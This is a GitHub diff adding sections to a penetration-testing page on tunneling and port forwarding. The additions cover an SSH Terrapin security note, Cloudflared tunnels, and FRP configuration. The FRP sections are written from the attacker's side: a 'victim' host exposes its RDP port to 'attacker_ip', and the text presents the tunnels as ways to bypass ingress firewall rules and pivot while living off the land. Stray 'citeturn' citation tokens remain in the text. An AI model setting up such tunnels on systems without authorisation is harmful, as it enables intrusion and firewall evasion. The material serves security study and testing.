You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-hacking/tunneling-and-port-forwarding.md
+81Lines changed: 81 additions & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -105,6 +105,10 @@ Set a new route on the client side
105
105
route add -net 10.0.0.0/16 gw 1.1.1.1
106
106
```
107
107
108
+
> [!NOTE]
109
+
> **Security – Terrapin Attack (CVE-2023-48795)**
110
+
> The 2023 Terrapin downgrade attack can let a man-in-the-middle tamper with the early SSH handshake and inject data into **any forwarded channel** ( `-L`, `-R`, `-D` ). Ensure both client and server are patched (**OpenSSH ≥ 9.6/LibreSSH 6.7**) or explicitly disable the vulnerable `[email protected]` and `*[email protected]` algorithms in `sshd_config`/`ssh_config` before relying on SSH tunnels. citeturn4search0
111
+
108
112
## SSHUTTLE
109
113
110
114
You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
@@ -645,6 +649,83 @@ tunnels:
645
649
addr: file:///tmp/httpbin/
646
650
```
647
651
652
+
## Cloudflared (Cloudflare Tunnel)
653
+
654
+
Cloudflare’s `cloudflared` daemon can create outbound tunnels that expose **local TCP/UDP services** without requiring inbound firewall rules, using Cloudflare’s edge as the rendez-vous point. This is very handy when the egress firewall only allows HTTPS traffic but inbound connections are blocked.
655
+
656
+
### Quick tunnel one-liner
657
+
658
+
```bash
659
+
# Expose a local web service listening on 8080
660
+
cloudflared tunnel --url http://localhost:8080
661
+
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
662
+
```
663
+
664
+
### SOCKS5 pivot
665
+
666
+
```bash
667
+
# Turn the tunnel into a SOCKS5 proxy on port 1080
Because all traffic leaves the host **outbound over 443**, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges – use containers or the `--user` flag when possible. citeturn1search0
690
+
691
+
## FRP (Fast Reverse Proxy)
692
+
693
+
[`frp`](https://github.com/fatedier/frp) is an actively-maintained Go reverse-proxy that supports **TCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching**. Starting with **v0.53.0 (May 2024)** it can act as an **SSH Tunnel Gateway**, so a target host can spin up a reverse tunnel using only the stock OpenSSH client – no extra binary required.
694
+
695
+
### Classic reverse TCP tunnel
696
+
697
+
```bash
698
+
# Attacker / server
699
+
./frps -c frps.toml # listens on 0.0.0.0:7000
700
+
701
+
# Victim
702
+
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
703
+
704
+
# frpc.toml
705
+
serverAddr = "attacker_ip"
706
+
serverPort = 7000
707
+
708
+
[[proxies]]
709
+
name = "rdp"
710
+
type = "tcp"
711
+
localIP = "127.0.0.1"
712
+
localPort = 3389
713
+
remotePort = 5000
714
+
```
715
+
716
+
### Using the new SSH gateway (no frpc binary)
717
+
718
+
```bash
719
+
# On frps (attacker)
720
+
sshTunnelGateway.bindPort = 2200 # add to frps.toml
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting. citeturn2search1
0 commit comments